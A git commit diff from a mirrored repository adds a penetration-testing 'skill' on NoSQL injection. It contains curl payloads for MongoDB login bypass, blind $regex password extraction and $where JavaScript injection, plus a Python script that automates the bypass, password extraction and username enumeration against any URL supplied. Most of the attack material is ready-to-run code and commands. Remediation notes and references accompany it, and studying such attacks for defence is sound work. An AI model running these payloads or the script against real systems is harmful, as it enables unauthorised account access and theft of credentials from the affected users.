mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-07-26 22:20:59 +03:00
Initial commit - 611 cybersecurity skills across all subdomains
This commit is contained in:
@@ -0,0 +1,199 @@
|
||||
---
|
||||
name: exploiting-nosql-injection-vulnerabilities
|
||||
description: Detect and exploit NoSQL injection vulnerabilities in MongoDB, CouchDB, and other NoSQL databases to demonstrate authentication bypass, data extraction, and unauthorized access risks.
|
||||
domain: cybersecurity
|
||||
subdomain: web-application-security
|
||||
tags: [nosql-injection, mongodb, authentication-bypass, injection-attack, web-security, database-security, api-testing]
|
||||
version: "1.0"
|
||||
author: mahipal
|
||||
license: MIT
|
||||
---
|
||||
|
||||
# Exploiting NoSQL Injection Vulnerabilities
|
||||
|
||||
## When to Use
|
||||
- During web application penetration testing of applications using NoSQL databases
|
||||
- When testing authentication mechanisms backed by MongoDB or similar databases
|
||||
- When assessing APIs that accept JSON input for database queries
|
||||
- During bug bounty hunting on applications with NoSQL backends
|
||||
- When performing security code review of database query construction
|
||||
|
||||
## Prerequisites
|
||||
- Burp Suite Professional or Community Edition with JSON support
|
||||
- NoSQLMap tool installed (`pip install nosqlmap` or from GitHub)
|
||||
- Understanding of MongoDB query operators ($ne, $gt, $regex, $where, $exists)
|
||||
- Target application using a NoSQL database (MongoDB, CouchDB, Cassandra)
|
||||
- Proxy configured for HTTP traffic interception
|
||||
- Python 3.x for custom payload scripting
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1 — Identify NoSQL Injection Points
|
||||
```bash
|
||||
# Look for JSON-based login forms or API endpoints
|
||||
# Common indicators: application accepts JSON POST bodies, uses MongoDB
|
||||
# Test with basic syntax-breaking characters
|
||||
curl -X POST http://target.com/api/login \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"username": "admin\"", "password": "test"}'
|
||||
|
||||
# Test for operator injection in query parameters
|
||||
curl "http://target.com/api/users?username[$ne]=invalid"
|
||||
|
||||
# Check for error-based detection
|
||||
curl -X POST http://target.com/api/search \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"query": {"$gt": ""}}'
|
||||
```
|
||||
|
||||
### Step 2 — Perform Authentication Bypass
|
||||
```bash
|
||||
# Basic authentication bypass with $ne operator
|
||||
curl -X POST http://target.com/api/login \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}'
|
||||
|
||||
# Bypass with $gt operator
|
||||
curl -X POST http://target.com/api/login \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'
|
||||
|
||||
# Target specific user with regex
|
||||
curl -X POST http://target.com/api/login \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"username": "admin", "password": {"$regex": ".*"}}'
|
||||
|
||||
# Bypass using $exists operator
|
||||
curl -X POST http://target.com/api/login \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"username": {"$exists": true}, "password": {"$exists": true}}'
|
||||
```
|
||||
|
||||
### Step 3 — Extract Data Using Boolean-Based Blind Injection
|
||||
```bash
|
||||
# Extract username character by character using $regex
|
||||
# Test if first character of admin password is 'a'
|
||||
curl -X POST http://target.com/api/login \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"username": "admin", "password": {"$regex": "^a"}}'
|
||||
|
||||
# Test if first two characters are 'ab'
|
||||
curl -X POST http://target.com/api/login \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"username": "admin", "password": {"$regex": "^ab"}}'
|
||||
|
||||
# Enumerate usernames with regex
|
||||
curl -X POST http://target.com/api/login \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"username": {"$regex": "^adm"}, "password": {"$ne": "invalid"}}'
|
||||
```
|
||||
|
||||
### Step 4 — Exploit JavaScript Injection via $where
|
||||
```bash
|
||||
# JavaScript injection through $where operator
|
||||
curl -X POST http://target.com/api/search \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"$where": "this.username == \"admin\""}'
|
||||
|
||||
# Time-based detection with sleep
|
||||
curl -X POST http://target.com/api/search \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"$where": "sleep(5000) || this.username == \"admin\""}'
|
||||
|
||||
# Data exfiltration via $where with string comparison
|
||||
curl -X POST http://target.com/api/search \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"$where": "this.password.match(/^a/) != null"}'
|
||||
```
|
||||
|
||||
### Step 5 — Use NoSQLMap for Automated Testing
|
||||
```bash
|
||||
# Clone and setup NoSQLMap
|
||||
git clone https://github.com/codingo/NoSQLMap.git
|
||||
cd NoSQLMap
|
||||
python setup.py install
|
||||
|
||||
# Run NoSQLMap against target
|
||||
python nosqlmap.py -u http://target.com/api/login \
|
||||
--method POST \
|
||||
--data '{"username":"test","password":"test"}'
|
||||
|
||||
# Alternative: use nosqli scanner
|
||||
pip install nosqli
|
||||
nosqli scan -t http://target.com/api/login -d '{"username":"*","password":"*"}'
|
||||
```
|
||||
|
||||
### Step 6 — Test URL Parameter Injection
|
||||
```bash
|
||||
# Parameter-based injection (GET requests)
|
||||
curl "http://target.com/api/users?username[$ne]=&password[$ne]="
|
||||
curl "http://target.com/api/users?username[$regex]=admin&password[$gt]="
|
||||
curl "http://target.com/api/users?username[$exists]=true"
|
||||
|
||||
# Array injection via URL parameters
|
||||
curl "http://target.com/api/users?username[$in][]=admin&username[$in][]=root"
|
||||
|
||||
# Inject via HTTP headers if processed by backend
|
||||
curl http://target.com/api/profile \
|
||||
-H "X-User-Id: {'\$ne': null}"
|
||||
```
|
||||
|
||||
## Key Concepts
|
||||
|
||||
| Concept | Description |
|
||||
|---------|-------------|
|
||||
| Operator Injection | Injecting MongoDB operators ($ne, $gt, $regex) into query parameters |
|
||||
| Authentication Bypass | Using operators to match any document and bypass login checks |
|
||||
| Blind Extraction | Character-by-character data extraction using $regex boolean responses |
|
||||
| $where Injection | Executing arbitrary JavaScript on the MongoDB server via $where operator |
|
||||
| Type Juggling | Exploiting how NoSQL databases handle different input types (string vs object) |
|
||||
| BSON Injection | Manipulating Binary JSON serialization in MongoDB wire protocol |
|
||||
| Server-Side JS | JavaScript execution context available in MongoDB for query evaluation |
|
||||
|
||||
## Tools & Systems
|
||||
|
||||
| Tool | Purpose |
|
||||
|------|---------|
|
||||
| NoSQLMap | Automated NoSQL injection detection and exploitation framework |
|
||||
| Burp Suite | HTTP proxy for intercepting and modifying JSON requests |
|
||||
| MongoDB Shell | Direct database interaction for testing query behavior |
|
||||
| nosqli | Dedicated NoSQL injection scanner and exploitation tool |
|
||||
| PayloadsAllTheThings | Curated NoSQL injection payload repository |
|
||||
| Nuclei | Template-based scanner with NoSQL injection detection templates |
|
||||
| Postman | API testing platform for crafting NoSQL injection requests |
|
||||
|
||||
## Common Scenarios
|
||||
|
||||
1. **Login Bypass** — Bypass MongoDB-backed authentication using `{"$ne": ""}` operator injection in username and password fields
|
||||
2. **Data Enumeration** — Extract database contents character by character using `$regex` blind injection when no direct output is visible
|
||||
3. **Privilege Escalation** — Modify user role fields through NoSQL injection in profile update endpoints
|
||||
4. **API Key Extraction** — Extract API keys or tokens stored in MongoDB collections through boolean-based blind techniques
|
||||
5. **Account Takeover** — Enumerate valid usernames via regex injection then brute-force passwords through operator-based authentication bypass
|
||||
|
||||
## Output Format
|
||||
|
||||
```
|
||||
## NoSQL Injection Assessment Report
|
||||
- **Target**: http://target.com/api/login
|
||||
- **Database**: MongoDB 6.0
|
||||
- **Vulnerability Type**: Operator Injection (Authentication Bypass)
|
||||
- **Severity**: Critical (CVSS 9.8)
|
||||
|
||||
### Vulnerable Parameters
|
||||
| Endpoint | Parameter | Injection Type | Impact |
|
||||
|----------|-----------|---------------|--------|
|
||||
| POST /api/login | username | Operator ($ne) | Auth Bypass |
|
||||
| POST /api/login | password | Regex ($regex) | Data Extraction |
|
||||
| GET /api/users | id | $where JS Injection | RCE Potential |
|
||||
|
||||
### Proof of Concept
|
||||
- Authentication bypass achieved with: {"username":{"$ne":""},"password":{"$ne":""}}
|
||||
- Extracted 3 admin passwords via blind regex injection
|
||||
- JavaScript execution confirmed via $where operator
|
||||
|
||||
### Remediation
|
||||
- Use parameterized queries with MongoDB driver sanitization
|
||||
- Implement input type validation (reject objects where strings expected)
|
||||
- Disable server-side JavaScript execution ($where) in MongoDB config
|
||||
- Apply least-privilege database access controls
|
||||
```
|
||||
@@ -0,0 +1,30 @@
|
||||
# NoSQL Injection Assessment Report Template
|
||||
|
||||
## Target Information
|
||||
- **Application URL**: [url]
|
||||
- **Database Type**: MongoDB / CouchDB / Other
|
||||
- **Assessment Date**: [date]
|
||||
- **Tester**: [name]
|
||||
|
||||
## Findings Summary
|
||||
|
||||
| Finding | Severity | Endpoint | Impact |
|
||||
|---------|----------|----------|--------|
|
||||
| Operator Injection | Critical | POST /api/login | Authentication Bypass |
|
||||
| Blind Regex Extraction | High | POST /api/login | Data Leakage |
|
||||
| $where JS Injection | Critical | POST /api/search | Potential RCE |
|
||||
|
||||
## Detailed Findings
|
||||
|
||||
### Finding 1: Authentication Bypass via Operator Injection
|
||||
- **Endpoint**: POST /api/login
|
||||
- **Payload**: `{"username":{"$ne":""},"password":{"$ne":""}}`
|
||||
- **Impact**: Complete authentication bypass allowing access to any account
|
||||
- **CVSS Score**: 9.8 (Critical)
|
||||
|
||||
### Remediation Steps
|
||||
1. Validate input types — reject objects/arrays where strings are expected
|
||||
2. Use MongoDB driver parameterized query methods
|
||||
3. Implement server-side schema validation with JSON Schema
|
||||
4. Disable $where and mapReduce JavaScript execution
|
||||
5. Apply least-privilege database user permissions
|
||||
@@ -0,0 +1,19 @@
|
||||
# Standards & References — NoSQL Injection
|
||||
|
||||
## Industry Standards
|
||||
- **OWASP Top 10 2021 A03** — Injection (includes NoSQL injection)
|
||||
- **OWASP Testing Guide** — Testing for NoSQL Injection (WSTG-INPV-05.6)
|
||||
- **CWE-943** — Improper Neutralization of Special Elements in Data Query Logic
|
||||
- **MITRE ATT&CK T1190** — Exploit Public-Facing Application
|
||||
|
||||
## Technical References
|
||||
- PortSwigger Web Security Academy: https://portswigger.net/web-security/nosql-injection
|
||||
- OWASP NoSQL Testing Guide: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection
|
||||
- PayloadsAllTheThings NoSQL: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
|
||||
- MongoDB Security Checklist: https://www.mongodb.com/docs/manual/administration/security-checklist/
|
||||
- HackTricks NoSQL: https://book.hacktricks.xyz/pentesting-web/nosql-injection
|
||||
|
||||
## Tools
|
||||
- NoSQLMap: https://github.com/codingo/NoSQLMap
|
||||
- nosqli: https://github.com/Charlie-belmer/nosqli
|
||||
- MongoDB documentation on query operators: https://www.mongodb.com/docs/manual/reference/operator/query/
|
||||
@@ -0,0 +1,23 @@
|
||||
# Workflows — NoSQL Injection Exploitation
|
||||
|
||||
## Detection Workflow
|
||||
1. Identify application technology stack (check for MongoDB, CouchDB indicators)
|
||||
2. Map all input points accepting JSON data or query parameters
|
||||
3. Submit operator payloads ($ne, $gt, $regex) in each parameter
|
||||
4. Monitor responses for authentication bypass or data leakage
|
||||
5. Test for JavaScript injection via $where operator
|
||||
6. Document all vulnerable endpoints with proof-of-concept payloads
|
||||
|
||||
## Blind Extraction Workflow
|
||||
1. Confirm boolean-based injection by comparing true/false responses
|
||||
2. Determine password/field length using $regex with length patterns
|
||||
3. Extract characters one at a time using $regex "^<known_chars><test>"
|
||||
4. Automate extraction with Python script using binary search
|
||||
5. Validate extracted data by attempting authentication
|
||||
|
||||
## Automated Scanning Workflow
|
||||
1. Configure proxy (Burp Suite) to intercept target traffic
|
||||
2. Run NoSQLMap against identified endpoints
|
||||
3. Use nuclei with NoSQL injection templates for broad coverage
|
||||
4. Manually verify automated findings with crafted payloads
|
||||
5. Escalate confirmed findings to data extraction or RCE attempts
|
||||
@@ -0,0 +1,222 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
NoSQL Injection Testing Automation
|
||||
Performs operator injection, authentication bypass, and blind data extraction.
|
||||
"""
|
||||
|
||||
import requests
|
||||
import string
|
||||
import json
|
||||
import sys
|
||||
import time
|
||||
from urllib.parse import urljoin
|
||||
|
||||
|
||||
def test_operator_injection(target_url: str, content_type: str = "json") -> dict:
|
||||
"""Test for basic NoSQL operator injection vulnerabilities."""
|
||||
results = {"vulnerable": False, "payloads": []}
|
||||
|
||||
payloads = [
|
||||
{"username": {"$ne": ""}, "password": {"$ne": ""}},
|
||||
{"username": {"$gt": ""}, "password": {"$gt": ""}},
|
||||
{"username": {"$exists": True}, "password": {"$exists": True}},
|
||||
{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}},
|
||||
{"username": "admin", "password": {"$ne": ""}},
|
||||
{"username": "admin", "password": {"$regex": ".*"}},
|
||||
]
|
||||
|
||||
for payload in payloads:
|
||||
try:
|
||||
response = requests.post(
|
||||
target_url,
|
||||
json=payload,
|
||||
headers={"Content-Type": "application/json"},
|
||||
timeout=10,
|
||||
allow_redirects=False
|
||||
)
|
||||
|
||||
if response.status_code in [200, 302] and (
|
||||
"dashboard" in response.text.lower() or
|
||||
"welcome" in response.text.lower() or
|
||||
"token" in response.text.lower() or
|
||||
response.status_code == 302
|
||||
):
|
||||
results["vulnerable"] = True
|
||||
results["payloads"].append({
|
||||
"payload": json.dumps(payload, default=str),
|
||||
"status_code": response.status_code,
|
||||
"response_length": len(response.text)
|
||||
})
|
||||
print(f"[+] AUTH BYPASS: {json.dumps(payload, default=str)}")
|
||||
except requests.RequestException as e:
|
||||
print(f"[-] Request failed: {e}")
|
||||
|
||||
return results
|
||||
|
||||
|
||||
def blind_extract_field(target_url: str, username: str, field: str = "password",
|
||||
max_length: int = 32) -> str:
|
||||
"""Extract a field value character by character using regex-based blind injection."""
|
||||
extracted = ""
|
||||
charset = string.ascii_lowercase + string.digits + string.ascii_uppercase + "!@#$%^&*"
|
||||
|
||||
print(f"[*] Extracting {field} for user '{username}'...")
|
||||
|
||||
for position in range(max_length):
|
||||
found = False
|
||||
for char in charset:
|
||||
test_value = extracted + char
|
||||
payload = {
|
||||
"username": username,
|
||||
field: {"$regex": f"^{_escape_regex(test_value)}"}
|
||||
}
|
||||
|
||||
try:
|
||||
response = requests.post(
|
||||
target_url,
|
||||
json=payload,
|
||||
headers={"Content-Type": "application/json"},
|
||||
timeout=10,
|
||||
allow_redirects=False
|
||||
)
|
||||
|
||||
if response.status_code in [200, 302] and (
|
||||
"dashboard" in response.text.lower() or
|
||||
"welcome" in response.text.lower() or
|
||||
"token" in response.text.lower() or
|
||||
response.status_code == 302
|
||||
):
|
||||
extracted += char
|
||||
print(f"[+] Found character {position}: '{char}' -> {extracted}")
|
||||
found = True
|
||||
break
|
||||
except requests.RequestException:
|
||||
continue
|
||||
|
||||
time.sleep(0.05)
|
||||
|
||||
if not found:
|
||||
break
|
||||
|
||||
print(f"[+] Extracted value: {extracted}")
|
||||
return extracted
|
||||
|
||||
|
||||
def _escape_regex(text: str) -> str:
|
||||
"""Escape special regex characters in extracted text."""
|
||||
special_chars = r"\.+*?^${}()|[]"
|
||||
result = ""
|
||||
for char in text:
|
||||
if char in special_chars:
|
||||
result += "\\" + char
|
||||
else:
|
||||
result += char
|
||||
return result
|
||||
|
||||
|
||||
def enumerate_usernames(target_url: str) -> list:
|
||||
"""Enumerate valid usernames using regex injection."""
|
||||
found_users = []
|
||||
prefixes = list(string.ascii_lowercase)
|
||||
|
||||
print("[*] Enumerating usernames...")
|
||||
for prefix in prefixes:
|
||||
payload = {
|
||||
"username": {"$regex": f"^{prefix}"},
|
||||
"password": {"$ne": ""}
|
||||
}
|
||||
try:
|
||||
response = requests.post(
|
||||
target_url, json=payload,
|
||||
headers={"Content-Type": "application/json"},
|
||||
timeout=10, allow_redirects=False
|
||||
)
|
||||
if response.status_code in [200, 302]:
|
||||
print(f"[+] Username starting with '{prefix}' exists")
|
||||
found_users.append(prefix)
|
||||
except requests.RequestException:
|
||||
continue
|
||||
|
||||
return found_users
|
||||
|
||||
|
||||
def test_where_injection(target_url: str) -> bool:
|
||||
"""Test for JavaScript injection via $where operator."""
|
||||
payloads = [
|
||||
{"$where": "1==1"},
|
||||
{"$where": "this.username == this.username"},
|
||||
{"$where": "function() { return true; }"},
|
||||
]
|
||||
|
||||
for payload in payloads:
|
||||
try:
|
||||
response = requests.post(
|
||||
target_url, json=payload,
|
||||
headers={"Content-Type": "application/json"},
|
||||
timeout=10
|
||||
)
|
||||
if response.status_code == 200 and len(response.text) > 100:
|
||||
print(f"[+] $where injection works: {json.dumps(payload)}")
|
||||
return True
|
||||
except requests.RequestException:
|
||||
continue
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def generate_report(target_url: str, injection_results: dict,
|
||||
extracted_data: dict, output_file: str):
|
||||
"""Generate assessment report."""
|
||||
with open(output_file, "w") as f:
|
||||
f.write("# NoSQL Injection Assessment Report\n\n")
|
||||
f.write(f"**Target**: {target_url}\n")
|
||||
f.write(f"**Vulnerable**: {'Yes' if injection_results['vulnerable'] else 'No'}\n\n")
|
||||
|
||||
if injection_results["payloads"]:
|
||||
f.write("## Successful Payloads\n\n")
|
||||
f.write("| Payload | Status Code | Response Length |\n")
|
||||
f.write("|---------|-------------|----------------|\n")
|
||||
for p in injection_results["payloads"]:
|
||||
f.write(f"| `{p['payload']}` | {p['status_code']} | {p['response_length']} |\n")
|
||||
|
||||
if extracted_data:
|
||||
f.write("\n## Extracted Data\n\n")
|
||||
for user, value in extracted_data.items():
|
||||
f.write(f"- **{user}**: `{value}`\n")
|
||||
|
||||
f.write("\n## Remediation\n")
|
||||
f.write("- Use parameterized queries and input type validation\n")
|
||||
f.write("- Reject object/array inputs where strings are expected\n")
|
||||
f.write("- Disable $where JavaScript execution in MongoDB configuration\n")
|
||||
f.write("- Implement WAF rules to block MongoDB operator patterns\n")
|
||||
|
||||
print(f"[+] Report saved to {output_file}")
|
||||
|
||||
|
||||
def main():
|
||||
if len(sys.argv) < 2:
|
||||
print("Usage: python process.py <target_url> [--extract <username>] [--enumerate]")
|
||||
sys.exit(1)
|
||||
|
||||
target_url = sys.argv[1]
|
||||
|
||||
print(f"[*] Testing NoSQL injection on {target_url}")
|
||||
results = test_operator_injection(target_url)
|
||||
|
||||
extracted_data = {}
|
||||
if "--extract" in sys.argv:
|
||||
idx = sys.argv.index("--extract")
|
||||
username = sys.argv[idx + 1] if idx + 1 < len(sys.argv) else "admin"
|
||||
password = blind_extract_field(target_url, username)
|
||||
extracted_data[username] = password
|
||||
|
||||
if "--enumerate" in sys.argv:
|
||||
enumerate_usernames(target_url)
|
||||
|
||||
test_where_injection(target_url)
|
||||
|
||||
generate_report(target_url, results, extracted_data, "nosql_injection_report.md")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user